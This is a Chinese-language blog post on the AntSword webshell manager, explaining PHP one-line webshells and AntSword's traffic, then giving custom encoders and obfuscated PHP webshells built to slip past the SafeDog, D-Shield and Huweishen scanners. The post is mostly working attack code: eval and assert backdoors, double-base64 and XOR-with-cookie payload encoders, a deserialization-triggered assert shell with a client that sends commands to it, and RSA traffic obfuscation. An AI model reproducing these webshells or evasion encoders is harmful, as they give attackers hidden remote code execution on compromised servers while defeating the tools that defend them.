蚁剑原理与魔改

一句话木马原理

一句话木马形如这样:

<?php @eval($_POST[password]);?>

使用蚁剑连接,连接成功

那为什么能成功呢?
首先要探寻一句话木马的原理

所以我们post传入的字符串会以php代码的形式运行,而php代码又能调用系统操作所以便成了木马

蚁剑的原理

知道了一句话木马的原理,那么我们康康蚁剑的原理,蚁剑用很多功能确实很方便。还支持编码,垃圾数值,随机数,自定义编码解码器。

首先选择代理设置,因为这里我们选择用burpsuite来抓取流量,

蚁剑连接来分析一下流量

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){
	return $out;
};
function asoutput(){
$output=ob_get_contents(); //返回输出缓冲区的内容
ob_end_clean(); //清理(擦除)缓冲区并关闭输出缓冲
echo "c6b05fd97";
echo @asenc($output);echo "d69e35d304";}
ob_start(); //打开输出缓冲区
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]); //获取当前url路由的绝对路径
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]); //当前脚本所在文件系统(非文档根目录)的基本路径
$R="{$D}	";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
}
else{
$R.="/";}$R.="	";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die(); //获取目录,uid,系统信息,用户等信息

然后我们就大概了解了一下蚁剑的功能,在康康蚁剑是如何获取数据的

@ini_set("display_errors", "0");
@set_time_limit(0);            //不显示报错
function asenc($out){
return $out;
};		                       //用于返回信息
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "a170af01bc";			//用于返回信息,同时加入岁间前缀,对安全狗是一种绕过
echo @asenc($output);
echo "6d341a3c3a";
}
ob_start();					
try{
$F=base64_decode(substr($_POST["hfdce8c1b4e4ef"],2));      //base64解码post传入的另一个数据
$P=@fopen($F,"r");										// 进行读取文件的操作
echo(@fread($P,filesize($F)?filesize($F):4096));
@fclose($P);;
}
catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();   //报错信息

原理还是很好理解的,但是不明白为什么要令外post一个数据再进去文件内的传递,难道是面对对象编写的原因,还是令有好处,但是如果整体个人觉得更容易混淆流量,不过问题不大,后面还要编码更多的参数,才能绕过安全🐕

编码器原理

蚁剑自带变量,支持我们自定义编码和加密方式来混淆传入的主变量(不知道叫啥名字就就是连接密码的那个变量)的参数

/**
 * php::base64编码器
 * Create at: 2020/11/21 15:21:10
 */

'use strict';

/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 以下代码为 PHP Base64 样例

  // 生成一个随机变量名
  let randomID = `_0x${Math.random().toString(16).substr(2)}`;
  // 原有的 payload 在 data['_']中
  // 取出来之后,转为 base64 编码并放入 randomID key 下
  data[randomID] = Buffer.from(data['_']).toString('base64');

  // shell 在接收到 payload 后,先处理 pwd 参数下的内容,
  data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;

  // ##########    请在上方编写你自己的代码   ###################

  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处理后的 payload 数组
  return data;
}

代码作者已经给了注释很好理解,然后我们就可以开心的构造自己的编码方式来绕过安全狗了。

免杀小例子

这里给了例子吧。直接使用双层base64,我丢尽然还能免杀(后来测试发现),学长聊天说双base64能过🐕,我起初不信,尝试了一下,发现不行。写这篇文章的时候尝试一下还是不行,然后发现是因为我的webshell没有做免杀处理,被🐕直接给扫出来,然后就不管你的流量了直接杀,wogiao!牛皮!!
双base64蚁剑编码器

/**
 * php::base64编码器
 * Create at: 2020/11/21 15:21:10
 */

'use strict';

/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 以下代码为 PHP Base64 样例

  // 生成一个随机变量名
  let randomID = `_0x${Math.random().toString(16).substr(2)}`;
  // 原有的 payload 在 data['_']中
  // 取出来之后,转为 base64 编码并放入 randomID key 下
  data['_'] = Buffer.from(data['_']).toString('base64');

  // shell 在接收到 payload 后,先处理 pwd 参数下的内容,
  //data[pwd] = `${data['_']}"));`;
  data[pwd] = Buffer.from(data['_']).toString('base64');

  // ##########    请在上方编写你自己的代码   ###################

  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处理后的 payload 数组
  return data;
}

免杀的webshell

<?php 
header('HTTP/1.1 404');
class COMI { 
    public $c='';
    function __destruct() {
        return eval(substr($this->c, 0));
    }
}
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['password'];
$post = &$password;
$post=base64_decode(base64_decode($post));
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>

webshell是能够免杀安全🐕和D盾和护卫神的,其他的没测试

xor_random_base64免杀

编码器:

/**
 * php::base64编码器
 * Create at: 2020/11/19 21:20:31
 *lnng.top
 */

'use strict';


module.exports = (pwd, data, ext = {}) => {
  let randomID = `x${Math.random().toString(16).substr(2)}`;

  function xor(payload) {
    let crypto = require('crypto');
    let key = crypto.createHash('md5').update(randomID).digest('hex').substr(6);
    ext.opts.httpConf.headers['Cookie'] = 'PHPSESSID=' + key;
    key = key.split("").map(t => t.charCodeAt(0));
    //let payload="phpinfo();";
    let cipher = payload.split("").map(t => t.charCodeAt(0));
    for (let i = 0; i < cipher.length; i++) {
      cipher[i] = cipher[i] ^ key[i % 26]
    }
    cipher = cipher.map(t => String.fromCharCode(t)).join("")
    cipher = Buffer.from(cipher).toString('base64');
    //console.log(cipher)
    return cipher;
  }

  data['_'] = Buffer.from(data['_']).toString('base64');
  
  // 生成一个随机变量名
  let num =  Math.floor(Math.random()*15);
  let randomStr = `${Math.random().toString(16).substr(num)}`;
  //data['password'] = 15-num;
  
  //data[pwd] = `eval(base64_decode("${data['_']}"));`;
  //data[pwd]=xor(data[pwd]);
  //data[pwd] = `${randomStr}` + data[pwd] + `${randomStr}`;
  
  let ret = {};
  for (let _ in data) {
    if (_ === '_') { continue };
    //if (_ === 'num') { continue };
    //if (_ === 'password') { continue };
    ret[_] = Buffer.from(data[_]).toString('hex');
    //ret[_] = Buffer.from(data[_]);
  }
  //ret[password] = data['password'].toString('hex');
  ret['password'] = 15-num;
  ret[pwd] = `eval(base64_decode("${data['_']}"));`;
  ret[pwd] = xor(ret[pwd]);
  ret[pwd] = `${randomStr}` + ret[pwd] + `${randomStr}`
  //ret[pwd] = ret[pwd].toString('hex');
  return ret;
  //删除原有payload
  //delete data['_'];
 //返回编码器处理后的payload数组
  //return data;
}

免杀的webshell(密码username)

<?php
header('HTTP/1.1 404');
class Cookie{
    function __construct(){
        $password = &$password1;
        $password1 = $_REQUEST['password'];
        $num = &$password;
        $num = $_REQUEST['password'];
        if(is_numeric($num)){
        $post=base64_decode(substr(@$_REQUEST['username'],$num,-$num));
        }
        return $post;
    }
    function decode(){
        $key=$_COOKIE['PHPSESSID'];
        $post = $this->__construct();
        for($i=0;$i<strlen($post);$i++){
            $k = $i%26;
            $s = $post[$i];
            $post[$i] = $s ^ $key[$k];  
        }
        return $post;
    }
    function __destruct(){
        foreach($_POST as $k => $v){
            if ($k!='password'&&$k!='username') {
                $b = &$a;
                $a = $v;
                $c = &$b;
                $_POST[$k]=hex2bin($c);
            }
        }
        $a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
        $lnng1 = &$lnng;
        $lnng = $this->decode();
        $lnng2 = $lnng1;
        return @$a(`/**123**/`.$lnng2.`/**123**/`);
    }
}
$check=new Cookie();
?>

反序列化免杀(这里和蚁剑没关系)

写的非常简单,自己只是测试着玩,可以写的更加完善,主要是思路
接近有漏洞的代码就可以免杀(个人理解,请大佬指教)
客户端webshell

<?php
class Lnng{
	var $lnng;
	function __destruct(){
		$a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
		@$a($this->lnng);
	}

}
$lnng = unserialize($_POST['lnng']);
?>

服务端自己写了一个php页面非常的简陋,菜哭了我

<!DOCTYPE html>
<html>
<head>
	<title>php序列化webshell</title>
</head>
<body>
	<form method="post" action="">
	<p>请输出url,例如http://192.168.124.141/12.php</p>
 	<input type="text" name="ip" style="width:400px; height:30px;" value="<?php if(isset($_POST['ip'])){echo $_POST['ip'];}?>" />
 	<br>
 	<p>请输出命令,内部命令执行方式assert(你输入的值)</p>
 	<input type="text" name="command" style="width:400px; height:30px;" value="<?php if(isset($_POST['command'])){echo $_POST['command'];}?>"/>
  	<input type="submit" value="提交" />
	</form>
</body>
</html>
<?php
//header("Content-Type:text/html;charset=gb2312");
class Lnng{
	var $lnng;
	function __destruct(){
		$a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
		//@$a($this->lnng);
	}
}
$lnng = new Lnng();
@$lnng->lnng = $_POST['command'];
//echo $_POST['command'];
$lnng = serialize($lnng);
@$ip = $_POST['ip'];
//echo $ip;
$data = array('lnng'=>$lnng);
$requestBody = http_build_query($data);
$context = stream_context_create(['http' => ['method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n"."Content-Length: " . mb_strlen($requestBody), 'content' => $requestBody]]);
@$response = file_get_contents($ip, false, $context);
echo iconv("GB2312","UTF-8",$response);
//echo $response;
?>


解码器原理

/**
 * php::base64解码器
 * Create at: 2020/11/21 17:15:24
 */

'use strict';

module.exports = {
  /**
   * @returns {string} asenc 将返回数据base64编码
   * 自定义输出函数名称必须为 asenc
   * 该函数使用的语法需要和shell保持一致
   */
  asoutput: () => {
    return `function asenc($out){
      return @base64_encode($out);
    }
    `.replace(/\n\s+/g, '');
  },
  /**
   * 解码 Buffer
   * @param {string} data 要被解码的 Buffer
   * @returns {string} 解码后的 Buffer
   */
  decode_buff: (data, ext={}) => {
    return Buffer.from(data.toString(), 'base64');
  }
}

官方注释很清楚这里就不弄了,而且我觉得蚁剑自带的base64啥的解码器完全够用,流量的混淆根本没法猜,有随机的前缀后缀是你所传参的时候传过去的,所有我没整就过🐕了。

蚁剑RSA

RSA一种基于密码学的非对称加密来混淆流量的方法,先用私钥对要加密的东西进行加密,然后用公钥解密,所以我们把公钥放入webshell里面,就可实现对流量的混淆
RSA的原理利用的是数论中的mod运算,不可破解的原因就是一个大数不易分解为两个素数的乘积,所以便可实现加解密。

同样的RSA混淆流量对CTF的AWD模式也有好处,就是别人没法通过查看自己的webshell,来连接其他的人webshell,因为你如果能打下来不可能只种一个webshell
参考:先知社区_从0到1掌握AWD攻防之RSA必杀

蚁剑的RSA使用方式很简单
使用前提,目标要php开启ssl,这个也是这个加密方法的缺陷,不开启没法调用解密函数

开启openssl方法
打开iphp.ini
搜索extension=php_openssl.dll,把前面的分号取消,然后重启web服务
在编码器的位置

然后创建一个

然后将这个位置的webshell上传,写入啥的弄到目标

然后连接的时候选择你创建的编码器就好了,测试了一下,安全🐕和护卫神不拦截,D盾可以扫描出来但是危险等级不高。
对于AWDctf利用蚁剑作者针对RSA也加了一个方法
在RSA编码器的位置加入下面代码,什么作用呢,在awd中别人抓取你的webshell读取flag流量进行转发到其他服务器中也可以获得flag,所以这里设置时效为5秒,可以设置更短。

data["_"] = `if((time()-${parseInt((new Date().getTime())/1000)})>5){die();};${data['_']}`;

参考文章及说明

蚁剑改造过WAF系列

蚁剑改造计划

学蚁致用
最后欢迎访问我的个人博客:https://lnng.top/
说明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担

posted @ 2020-11-21 19:22  Lmg66  阅读(4619)  评论(0编辑  收藏  举报